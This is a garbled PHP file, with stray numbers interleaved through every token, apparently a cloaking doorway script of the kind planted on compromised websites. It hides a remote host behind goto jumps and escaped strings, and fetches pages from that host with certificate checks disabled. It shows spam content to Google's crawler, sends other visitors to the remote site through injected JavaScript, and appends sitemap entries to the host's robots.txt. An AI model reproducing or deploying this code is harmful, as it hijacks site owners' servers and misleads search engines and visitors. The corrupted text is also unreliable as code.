1 < 1 ? 1 p 2 hp 1 1 1 e 1 r 2 ro 1 r 1 _ 2 re 1 p 2 or 1 t 1 i 1 n 2 g( 1 0 1 ) 1 ; 1 1 1 $ 1 g 2 et 1 2 = 1 f 1 i 1 l 2 te 1 r 2 _i 1 n 1 p 1 u 2 t_ 1 a 1 r 2 ra 1 y 1 ( 2 IN 1 P 1 U 2 T_ 2 GE 1 T 1 , 1 1 F 1 I 1 L 2 TE 1 R 1 _ 1 S 1 A 1 N 1 I 2 TI 1 Z 2 E_ 1 S 1 T 1 R 1 I 1 N 1 G 4 ); 1 1 1 / 2 * 1 - 18 ------------------------ 1 1 1 4 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1a ------------------------- 1 * 1 / 1 1 1 f 1 u 1 n 2 ct 1 i 1 o 2 n 1 c 1 a 1 c 2 he 1 _ 3 get 1 ( 1 $ 2 ke 1 y 1 , 2 $ 1 e 1 x 2 pi 1 r 1 e 3 = 2 30 1 0 1 ) 1 1 { 6 1 $ 3 fil 5 e = s 1 y 1 s 5 _get_ 1 t 1 e 2 mp 1 _ 1 d 2 ir 1 ( 1 ) 1 2 . 1 ' 1 / 7 cache_' 3 . 1 m 1 d 1 5 5 ($key 5 ) . ' 1 . 4 php' 1 ; 6 1 i 2 f 1 ( 4 file 2 _e 1 x 1 i 2 st 1 s 1 ( 5 $file 2 ) 1 & 2 & 1 ( 1 t 2 im 1 e 3 () 1 - 5 file 1 m 5 time( 6 $file) 1 ) 1 1 < 8 $expire 9 ) { 4 1 r 2 et 1 u 1 r 1 n 5 file 5 _get_ 1 c 1 o 2 nt 1 e 1 n 9 ts($file) 7 ; 1 } 6 8 return f 2 al 1 s 1 e 3 ; 1 } 12 function cache_s a et($key, $ 1 d 1 a 2 ta 4b ) { $file = sys_get_temp_dir() . '/cache_' . md5($key) . '.php'; 1 @ 5 file_ 4 put_ e contents($file 7 , $data 2 , 1 L 1 O 1 C 1 K 1 _ 1 E 1 X 1 ) 6 ; } 25 /* ------------------------- 1 1 1 1 1 1 1 1 2 1 1 1 1 1 1 1 2 1 I 1 P 1 1 1 1 1 1 1 1 1 1 1 C 1 D 2 N 1 / 1 1 1 1 1 1 1 1 1 1 29 ------------------------- */ function 4 get_ 2 re 1 a 1 l 2 _i 1 p 1 ( a ) { $ 3 key 1 s 3 = 1 [ b ' 1 H 2 TT 1 P 1 _ 1 C 1 F 1 _ 2 CO 1 N 1 N 2 EC 1 T 3 ING 1 _ 2 IP 1 ' 1 , 1 2 // 1 1 C 1 l 2 ou 1 d 1 f 1 l 2 ar 1 e 10 'HTTP_ 1 X 1 _ 1 R 1 E 1 A 1 L 6 _IP', 7 3 // 1 N 1 g 2 in 1 x 12 'HTTP_X_ 1 F 1 O 1 R 1 W 1 A 1 R 1 D 1 E 1 D 4 _FOR 4 ', 4 // P 1 r 1 o 1 x 1 y 11 'HTTP_C 1 L 1 I 1 E 2 NT 5 _IP', b ' 1 R 1 E 1 M 1 O 2 TE 1 _ 1 A 1 D 1 D 1 R 1 ' 6 1 ] 5 ; 4 2 fo 3 rea 1 c 1 h 1 1 ( 6 $keys 1 a 1 s 3 $k d ) { 4 if ( 1 ! 3 emp 1 t 1 y 1 ( 2 $_ 1 S 1 E 1 R 1 V 1 E 1 R 1 [ 1 $ 1 k 1 ] 1 ) d ) { 6 $i 1 p 3 = c $_SERVER[$k] 9 ; c if ( 2 st 1 r 1 p 1 o 4 s($i 1 p 1 , 2 ' 1 , 1 ' 2 ) 2 != 1 = 6 false 11 ) { a $ip = 1 t 1 r 1 i 2 m( 3 exp 1 l 1 o 2 de 1 ( 3 ',' 1 , 4 $ip 1 ) 1 [ 1 0 1 ] 8 ); 8 1 } 14 if ( 7 filter_ 1 v 1 a 1 r 6 ($ip, 7 FILTER_ 1 V 1 A 1 L 1 I 1 D 1 A 3 TE_ 2 IP 1 ) 15 ) { 7 return 3 $ip 12 ; } f } e } return 1 ' 2 12 1 7 1 . 1 0 3 .0. 2 1' 2b ; } /* ------------------------- 1 1 1 1 1 1 1 1 1 4 get 1 C 3 url 1 ( 1 ) 2c ------------------------- */ function get 4 Curl 1 F 1 a 1 s 3 t($ 3 url 5 ) { 7 $ 5 cache 1 d 3 = b cache_get($ 4 url) b ; if ( 8 $cached b !== false) 8 return $ 6 cached 9 ; 5 $data 3 = 2 '' 9 ; 5 if (f 7 unction 8 _exists( 1 ' 1 c 3 url 3 _in 2 it 1 ' e )) { 1 $ 3 ch 3 = c 8 url_init d ($url); 4 5 curl_ 3 set 2 op 8 t_array( 3 $ch 1 , c [ 4 1 C 1 U 1 R 1 L 2 OP 1 T 3 _RE 1 T 1 U 1 R 1 N 1 T 1 R 2 AN 1 S 1 F 1 E 1 R 1 1 = 1 > 3 tr 2 ue 1 , 16 CURLOPT_ 8 CONNECTT 1 I 1 M 1 E 1 O 1 U 1 T 4 => 1 5 17 , CURLOPT_ 8 TIMEOUT 7 3 => 1 8 17 , CURLOPT_ 1 S 1 S 1 L 1 _ 4 VERI 1 F 2 YP 1 E 6 ER => 5 false 21 , CURLOPT_SSL_VERIFY 2 HO 1 S 1 T 20 => false, CURLOPT_ 2 FO 1 L 1 L 1 O 1 W 3 LOC 2 AT 1 I 1 O 1 N 20 => false, CURLOPT_ 1 U 3 SER 1 A 1 G 3 ENT a => " 1 M 1 o 1 z 1 i 2 ll 1 a 1 / 1 5 1 . 2 0" a d ]); 8 $data = 5 curl_ 2 ex 1 e 1 c 4 ($ch 11 ); curl_ 1 c 1 l 2 os 1 e c ($ch); 1 } c if ( 7 empty($ 6 data) 3 && 3 ini 5 _get( 1 ' 2 al 1 l 1 o 1 w 1 _ 5 url_f 1 o 2 pe 1 n 11 ')) { $c 4 onte 1 x 4 t = 3 str 2 ea 1 m 1 _ 8 context_ 1 c 4 reat 1 e 1 ( f [ 1 " 1 h 1 t 2 tp 1 " 4 => 1 [ 1 " 4 time 2 ou 1 t 1 " 6 => 8, 4 "he 1 a 2 de 1 r 5 " => 1 " 2 Us 1 e 1 r 1 - 2 Ag 3 ent 2 : b Mozilla/5.0 1 \ 1 r 1 \ 2 n" 1 ] f , 2 "s 1 s 1 l 2 " 6 => [" 1 v 2 er 1 i 1 f 1 y 2 _p 1 e 7 er" => 7 false, c "verify_peer 1 _ 2 na 1 m 1 e a " => false 1 ] 1f ]); $data = 1 @ 13 file_get_contents($ 3 url 1 , 8 false, 8 $context 15 ); } if ( 1 ! c empty($data) 1 ) c cache_set($ 5 url, 6 $data) 1 ; d return 5 $data 2b ; } /* ------------------------- 4 URL 1 1 1 1 1 1 2d ------------------------- */ function get_ 7 url_inf 1 o 4 (str 4 ing 1 $ 1 t 2 yp 1 e 1 = 1 ' 2 do 1 m 1 a 1 i 3 n') 2 : 7 string 8 { $ 1 h 1 o 1 s 1 t c = $_SERVER[ 6 'HTTP_ 4 HOST 1 ' 1 ] 1 1 ? 1 ? 6 ''; 9 if ($ 4 type 1 1 = 4 == ' 1 n 1 o 1 _ 1 w 1 w 2 w' 9 ) return 2 pr 1 e 1 g 4 _rep 1 l 1 a 1 c 3 e(' 1 / 1 ^ 3 www 1 \ 1 . 1 / 1 i 3 ', 1 ' 4 ', $ 4 host 1 ) b ; $p 1 r 1 o 2 to 1 c 1 o 1 l 3 = 11 (!empty($_SERVER[ 5 'HTTP 1 S 1 ' 1 ] 5 ) && 11 $_SERVER['HTTPS'] 5 !== 2 'o 1 f 1 f 3 ') 1 ? 6 "http 1 s 1 : 2 // 1 " 1 1 : 6 "http 4 ://" 7 ; 1 $ 1 b 2 as 4 e = b $protocol . 6 $host d ; if ( b $type === ' 4 base a ') return 5 $base 17 ; if ($type === 'f 1 u 1 l 1 l f ') return $base 3 . c ($_SERVER['R 1 E 1 Q 1 U 1 E 1 S 4 T_UR 1 I 8 '] ?? '' a ); 8 return $ 7 host; 28 } /* ------------------------- 1 1 1 1 1 1 1 1 1 1 1 1 20 ------------------------- */ 1 g 4 oto 1 O 1 N 1 P 1 u 1 B 1 ; 6 ONPuB 1 : 3 $h 3 ttp 1 _ 6 type = 1 10 !empty($_SERVER[ 1 " 1 \ 1 x 1 4 1 8 2 \1 1 2 1 4 1 \ 1 x 1 5 4 4\x5 1 0 3 \x5 1 3 1 " f ]) && $_SERVER[ a "\x48\124\ 6 124\x5 7 0\x53"] 5 !== 1 " 2 \1 1 5 1 7 1 \ 1 x 1 6 1 6 1 \ 1 1 1 4 1 6 1 " 4 ? " 3 \15 3 0\x 1 7 1 4 7 \x74\x7 1 0 1 \ 1 1 1 6 1 3 3 \72 1 \ 1 x 1 2 1 f 4 \x2f 5 " : " 3 \x6 3 8\1 1 6 1 4 7 \164\16 1 0 8 \72\x2f\ 1 5 2 7" 1 ; 1 6 goto O 1 4 1 O 1 9 1 k 1 ; 6 O4O9k 3 : $ 1 v 3 url 1 4 = "\ 4 x74\ 4 157\ 1 5 3 6\1 1 5 1 2 3 \14 1 7 3 \14 1 1 4 \x6c 5 \x6c\ 4 163\ 1 x 1 2 1 e 3 \14 1 3 7 \157\x6 1 d 5 \x2f" 7 ; goto 1 v 1 g 1 v 2 72 1 ; 6 vgv72 3 : $ 1 q 1 z 4 = s 1 u 1 b 3 str 4 (str 9 _replace( 6 array( 4 "\x7 1 7 5 \x77\ 1 1 1 6 1 7 4 \x2e 1 " 3 , " 4 \56" 1 ) 7 , '', $ a _SERVER["\ 2 11 1 0 7 \x54\x5 4 4\12 4 0\x5 1 f 5 \x48\ 3 x4f 3 \12 1 3 4 \x54 3 "]) 1 , 1 2 0, 1 1 3 4 ); 24 /* ------------------------- 1 1 1 1 1 2 f 3 1 23 数 ------------------------- */ 1 $ 1 s 4 z = 1 $ 1 i 1 i 4 d = 1 " 4 "; 2 if a (!empty($_ 3 GET 1 ) 1 ) 3 { 1 1 $ 1 f 2 =r 1 e 5 set($ 5 _GET) 8 ; $ 1 s 4 p = 9 explode(' 1 - 4 ', $ 1 f c ); if ( 1 c 2 ou 1 n 3 t($ 2 sp 1 ) 5 === 1 2 e ) { $ 3 sz 4 = $ 2 sp 3 [0] c ; $ 6 iid = 4 $sp[ 1 1 1 ] a ; } 1 } 26 /* ------------------------- 1 1 1 1 1 1 1 1 1 1 1 20 ------------------------- */ d if (!empty($s 1 z a )) { 1 $ 1 j 4 d = c getCurlFast( 1 " 1 { a $http_type 1 } 1 { 5 $vurl 1 } 1 3 1 k 1 g 1 . 1 a 2 sp 1 x 1 ? 1 s 1 z 1 = 1 " 3 . 3 url 2 en 1 c 4 ode( 5 $sz)) 5 ; } 1 e 3 lse 37 { $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx? 1 x 2 y= c {$http_type} 1 " a ); $s 1 z 2c = getCurlFast("{$http_type}{$vurl}3kg.aspx? 1 j 1 d 10 =" . urlencode($ 1 j 1 d 1 ) 9 ); } 1 $ 2 hy 1 z 1 h 1 d 1 y 4 = $ 3 jd 2 . 1 " 1 4 1 1 5 .aspx 4 "; 2 $s 4 url 1 b = $jd . "s b 41.aspx"; 25 /* ------------------------- 1 r 1 o 2 bo 1 t 1 s 3 / 1 s 1 i 3 tem 2 ap 22 ------------------------- */ $s 6 itemap 1 L 2 in 4 e = 1 " 1 S 6 itemap 2 : e {$http_type}{$ 14 _SERVER['HTTP_HOST'] c }{$_SERVER[' 1 S 1 C 1 R 1 I 3 PT_ 1 N 1 A 1 M 1 E 3 ']} 1 ? 1 w 5 =" . 1 d 4 ate( 1 ' 1 Y 1 m 1 d 1 H 1 i 1 ' 4 ) . 1 " 3 \n" 1 ; b function 1 e 1 n 3 sur 1 e 1 _ 7 robots_ 7 sitemap 1 ( c $sitemapLine a ) { $ 7 robots 2 = 1 r 5 trim( a $_SERVER[' 1 D 1 O 1 C 1 U 1 M 4 ENT_ 1 R 1 O 1 O 3 T'] 3 , " 2 /\ 1 \ 1 " 6 ) . '/ 6 robots 1 . 1 t 2 xt c '; if ( 1 ! d file_exists($ 6 robots e )) { 14 @file_put_contents($ 6 robots 1 , 7 "User- 1 a 6 gent: 2 *\ 1 n 1 A 4 llow 1 : 1 1 / 3 \n" 4 . $ b sitemapLine d , LOCK_EX); 5 } d else { 6 $c 17 = @file_get_contents($ 7 robots) 1 ; e if ( 4 $c = 8 == false 1 1 | 1 | 1 8 strpos($ 1 c 1 , d $sitemapLine 1 ) a === false 11 ) { 1c @file_put_contents($robots, e $sitemapLine, 3 FIL 3 E_A 1 P 2 PE 1 N 1 D 1 1 | 10 LOCK_EX); 7 } a } } 25 /* ------------------------- 1 w 2 = 1 1 1 1 1 1 2c ------------------------- */ if (!empty($ 3 get 1 [ 1 ' 1 w 1 ' 7 ])) { 9 $pa 1 r 1 a 1 m 4 s = 5 http_ 1 b 1 u 2 il 1 d 1 _ 1 q 1 u 1 e 2 ry c ([ 1 ' 1 N 1 O 2 Um 2 be 1 r 1 ' 4 => 6 $get[' 8 NOUmber' 7 ] ?? '' c , ' 1 t 1 ' a => 6 $get[' 1 t 16 '] ?? '', 'cn 1 ' f => $get[' 3 cn' 14 ] ?? '', 'p 4 NOUm 1 ' c => $get[' 6 pNOUm' 14 ] ?? '', 'c 1 i 1 d 1 ' f => $get['c 3 id' 13 ] ?? '', ' 1 m 11 ' => $get[' 9 m'] ?? '' 7 ] b ); $ 3 str 12 = getCurlFast("{$ 4 surl 1 } 1 ? 1 { 7 $params 6 }"); 6 2 ec 1 h 1 o 1 c str_replace( a 1 [ 1 ' 1 y 1 y 2 mm 1 ' 1 , 1 ' 1 g 4 gggg 3 ',' 1 ? 1 f 1 = 3 '], b [ a $http_type 1 . 15 $_SERVER['HTTP_HOST'] 1 . 17 $_SERVER['SCRIPT_NAME'] 4 , $s 1 z 3 ,'? 1 ' 1 . 3 $qz 1 . 1 ' e ='], 4 $str 6 8 ); 3 exi 2d t; } /* ------------------------- I 1 P 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 k 2 k 1 1 1 1 1 1 24 ) ------------------------- */ $ 3 kk 3 = i 1 s 5 set($ 5 get[' 1 k 1 k 4 ']) 1 ? 6 trim( c $get['kk']) 1 : 6 ''; 6 $ip = 1 ( 4 $kk 5 !== ' 6 ') ? " 1 6 1 6 1 . 1 2 1 4 1 9 1 . 1 8 1 2 1 . 1 8 4 " : d get_real_ip() 28 ; /* ------------------------- 3 get 6 domain 1 2 4 判 1 1 1 21 ------------------------- */ $ 6 domain 8 = trim( d getCurlFast($ 6 jd . " a getdomain2 6 .aspx? 1 r 1 n 1 d 1 = 1 1 2 &i 1 p 5 =" . 4 $ip) 2a ); /* ------------------------- 1 1 3 go 1 o 2 gl 1 e 1 1 + 1 4 iid 1 1 1 1 1 1 1 1 1 1 24 ------------------------- */ if ( 8 $domain 5 !== ' 6 google 1 ' 4 && 8 !empty($ 3 iid b )) { $ 1 k 4 name 3 = 3 url 1 d 1 e 5 code( 15 getCurlFast($jd . "gn 6 .aspx? 3 iid 7 =" . $i 1 i 6 d)); 9 echo 1 ' 1 < 1 s 2 cr 1 i 1 p 1 t 2 >l 1 o 1 c 1 a 4 tion 1 = 1 " 4 ' . 7 $jd . " 1 a 7 .aspx?c 4 name 10 =" . urlencode($ 5 kname 5 ) . " 1 & 3 url 6 =" . $ b http_type . 17 $_SERVER['HTTP_HOST'] c . $_SERVER[' d SCRIPT_NAME'] 5 . '" 1 < 1 / 7 script> 1 ' 36 ; exit; } /* ------------------------- 4 iid 32 输出 ------------------------- */ if (!empty($ e iid)) { $ 12 str = getCurlFast( 8 $hyzhdy 3 . " 5 ?iid= 1 { 4 $iid 29 }"); echo str_replace( [' 8 ggggg',' 1 Y 4 YYYY 3 ',' 1 X 1 X 1 X 6 YYY',' 1 1 1 1 1 1 3 URL 3 ',' 1 U 4 UUUU 3 ',' 1 M 4 MMMM 15 ','?f='], [$ 3 sz, e get_url_info( 1 ) f , get_url_info( 7 'base') 10 , get_url_info(' 6 full') 10 , get_url_info(' 8 no_www') 1 , 3 par 2 se 4 _url 18 ($_SERVER['REQUEST_URI'] 2 , 1 P 1 H 1 P 3 _UR 2 L_ 1 P 1 A 1 T 1 H 1 ) 59 ,'?'.$qz.'='], $str ); exit; } /* ------------------------- 8 sitemap 1 h 1 e 2 lp 1 e 1 r 29 ------------------------- */ function 1 o 1 u 1 t 4 put_ 8 sitemap_ 1 a 1 n 1 d 4 _exi 1 t d ($sitemapLine 1 , b $http_type 9 ) { 23 ensure_robots_sitemap($sitemapLine) c ; echo 1 " 1 < 1 d 1 i 1 v 3 st 2 yl 1 e 1 = 1 ' 4 text 1 - 1 a 2 li 1 g 1 n 1 : 1 c 3 ent 1 e 1 r 2 ;p 1 a 1 d 1 d 2 in 1 g 1 : 1 1 1 0 1 p 2 x 1 0 1 ; 1 ' 1 > e 2 7 Sitemap 1 < 1 / 1 a d > 1 < 1 / 3 div 2 >" 36 ; exit; } /* ------------------------- 3 kk 6 输出 1 1 1 1 1 1 25 ------------------------- */ if ($ 9 kk !== '' 4 && 6 preg_m 1 a 1 t 1 c 1 h 4 ('/^ 1 [ 1 A 1 - 2 Za 1 - 1 z 1 0 1 - 1 9 1 ] 2 +$ 1 / 5 ', $k 1 k c )) { $r 1 e 1 m 2 ot 1 e 10 = getCurlFast($ 1a jd . "getdomain2.aspx?rnd= 1 2 1 & 1 k 1 k 6 =" . $ 3 kk) c ; if (! 7 empty($ 6 remote e )) { 5 echo 7 $remote b ; 7 exit; c } } 12 if ($kk !== '' && 1 ! 2c preg_match('/^[A-Za-z0-9]+$/', $kk)) { 31 output_sitemap_and_exit($sitemapLine, $http_type) 9 ; } $ 1 i 2 s_ 3 no_ 5 query 4 = e f mpty($_SERVER[' 3 QUE 1 R 1 Y 7 _STRING 1 ' 7 ]); 8 if ($kk 1 = 9 == '' && c $is_no_query 9 ) { c if ($domain 1 = b == 'google' d ) { 34 output_sitemap_and_exit($sitemapLine, $http_type); 16 } else { 13 exit; } } 34 output_sitemap_and_exit($sitemapLine, $http_type); 1 ? 1 > 1 1 0